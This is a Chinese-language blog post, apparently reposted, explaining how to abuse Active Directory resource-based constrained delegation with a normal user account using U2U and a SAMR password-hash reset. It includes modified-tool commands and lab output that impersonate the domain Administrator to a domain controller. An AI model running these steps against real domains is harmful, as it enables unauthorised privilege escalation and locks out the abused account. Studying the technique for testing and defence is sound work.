0x00 背景
本文内容基于文章:《exploiting-rbcd-using-normal-user》的分享,下面来学习一下这种技巧。
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
这篇文章主要分享的是域内利用RBCD
时,使用用户账户去申请票据的利用方式;这个可以在一些限制场景下作为一种利用手段。
具体还请结合实战权衡各种方式,比如普通的利用机器账户、以及Shadow Credentials
等,这在知识星球内都分享过思路等,就不过多探讨了。
0x01 分析
RBCD的第一个条件
在这之前RBCD
的利用条件是可以修改目标机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity
属性,以及需要一个机器账户用来申请到目标机器的票据。
对于使用用户账户利用RBCD
来说,可以说没有限制,因为只需要在msDS-AllowedToActOnBehalfOfOtherIdentity
填入一个SID即可,我们填入对应用户账户的SID
即可,这一点没有任何限制。
RBCD的第二个条件
对于用户账户利用RBCD
是没有办法利用成功的,第二个条件也就是使用S4U
扩展协议为账户申请到目标机器的TGT Ticket
,那么为什么用户账户无法进行呢?
由于这个用户账户没有SPN
,所以KDC
无法选择正确的密钥。所以S4U2Self
会失败。
这里可以使用U2U
为用户账户加密票据,这是一个用户到用户的身份验证扩展,查看资料需要指定ENC-TKT-IN-SKEY
选项,而且它会使用附加票证里面的,TGT
的会话密钥加密新请求的票据。
参考:https://datatracker.ietf.org/doc/html/draft-swift-win2k-krb-user2user-01
而且Rubeus是提供了U2U
的功能的,在TGS_REQ
类的方法NewTGSReq
中的参数可以指定,可以看到里面构造TGS-REQ
请求的时候如果设置了了U2U
选项,会添加相应的标志位:
所以说我们只需要设置相应的标志为true即可成功完成S4U2Self
请求。
其实接下来的S4U2Proxy
,也会失败,因为KDC
会尝试使用用户的Long-term key
进行解密。因为我们使用了U2U
扩展进行了票据加密,会使用附加到TGS-REQ
当中的TGT
的会话密钥加密之后的票据,那么KDC
也就无法解密了,所以说这里接下来要解决的问题就是,如何让KDC
成功解密我们的S4U2Proxy
请求中的票据给我们发放一个到目标机器的TGS Ticket
呢?
这里的思路就是要让我们的会话密钥与Long-term key
保持一致,也就是用户的Hash,所以这里在完成S4U2Self
请求后,在进行S4U2Proxy
请求之前,我们使用MS-SAMR
这个协议,它支持包含用户和组的帐户存储或目录的管理功能,可以直接使用RPC调用SamrChangePasswordUser
这个API来实现更改用户的Hash,当然这些API还可以添加用户等等在渗透中的利用,这里不多探讨。
所以说我们这里将用户的密码更改为TGT
当作的会话密钥,那么这样就是一致的了,KDC
就可以成功解开请求中的票据,就可以完成S4U
请求,从而获取到票据。
0x02 改造
添加用户账户SID
对于给目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity
属性添加用户的SID,这个很简单,可以修改各类工具实现,这里从GitHub找了一个工具:https://github.com/Jumbo-WJB/SharpAllowedToAct-Modify。
首先获取SID这块修改为获取用户账户的:
然后把请求的DN改一下,就可以了:
这个比较简单,接下来就是配置了SID之后,要使用Rubeus去请求票据。
S4U2Self
上面分析过,了解到TGS_REQ.NewTGSReq
方法中是提供了这个功能,但是默认没有参数设置,我们只需要进入S4U2Self
函数中为调用S4U2Self
方法设置U2U
为true
即可
S4U2Proxy
我们把文中提到的,操作Samr更改密码的参考代码放到项目里来,参考代码:https://github.com/vletoux/NTLMInjector/blob/master/SetNTLM.ps1
调用其中的SetNTLMHash
这个方法即可
接着我们还需要从TGT
当中把会话密钥拿出来,作为SetNTLMHash
的参数传递,作为我们的用户账户的"新密码"。
然后从S4U
攻击的代码里,跟一下AS-REP
在哪里,因为那里返回了TGT
,我们只需要去那里找一下我们要的会话密钥即可,首先Execute
函数去调用Ask.TGT
,申请TGT的处理函数
接着构造好AS-REQ
消息后调用InnerTGT
InnerTGT
将请求发出后,又调用HandleASREP
处理响应
encRepPart.key.keyvalue
就是我们需要的会话密钥了,我们将它存到事先声明的变量
然后就是在调用S4U2Proxy
之前调用Samr
协议来修改用户的密码了:
0x03 利用
首先给LDC,添加对用户账户kaba
的基于资源的约束委派
C:UsersAdministratorDesktop>SharpAllowedToAct.exe -m kaba -u administrator -p 1qaz2WSX -t KASPERSKY -a LDC.dev.pig.com -d dev.pig.com
[+] Domain = dev.pig.com
[+] Domain Controller = LDC.dev.pig.com
[+] Machine added by the attacker =
[+] Distinguished Name = CN=kaba,CN=Users,DC=dev,DC=pig,DC=com
[+] Try login.
[+] SID of the machine added by the attacker: S-1-5-21-2391806502-1831592058-3108405647-1107
[+] Attribute changed successfully
[+] Done!
接着申请到目标机器的票据:
C:UsersAdministratorDesktop>Rubeus.exe s4u /user:kaba /domain:dev.pig.com /dc:LDC.dev.pig.com /rc4:161cff084477fe596a5db81874498a24 /impersonateuser:Administrator /msdsspn:cifs/LDC.dev.pig.com
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.1
[*] Action: S4U
[*] Using rc4_hmac hash: 161cff084477fe596a5db81874498a24
[*] Building AS-REQ (w/ preauth) for: 'dev.pig.comkaba'
[+] TGT request successful!
[*] base64(ticket.kirbi):
票据省略
[*] Action: S4U
[*] Using domain controller: LDC.dev.pig.com (fe80::f1ae:2e17:d9a1:1148%4)
[*] Building S4U2self request for: '[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to '[email protected]'
[*] base64(ticket.kirbi):
票据省略
SamConnect OK
SamrOpenDomain OK
rid is 1107
SamOpenUser OK
SamiChangePasswordUser OK
OK
[*] Impersonating user 'Administrator' to target SPN 'cifs/LDC.dev.pig.com'
[*] Using domain controller: LDC.dev.pig.com (fe80::f1ae:2e17:d9a1:1148%4)
[*] Building S4U2proxy request for service: 'cifs/LDC.dev.pig.com'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/LDC.dev.pig.com':
票据省略
0x04 注意
-
默认域密码策略是修改密码后,过24h后才可以修改密码,所以利用完之后可能没办法及时修改回去
-
需要目标域支持RC4
0x05 总结
本文分析了基于谷歌大佬文章的学习和修改工具过程,也算是扩展了在实战中一些环境的利用方式。
重要的是要基于实战碰到的环境限制等考虑使用什么手段,比如机器账户利用RBCD、Shadow Credentials
等,还要注意的是这个trick基本上会“废”掉一个域账户。
代码非常简单,不想动手可以加入知识星球获取,一起学习免杀、域渗透、和搞那个
原文始发于微信公众号(黑客在思考):「域渗透」Abuse RBCD With User Account
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论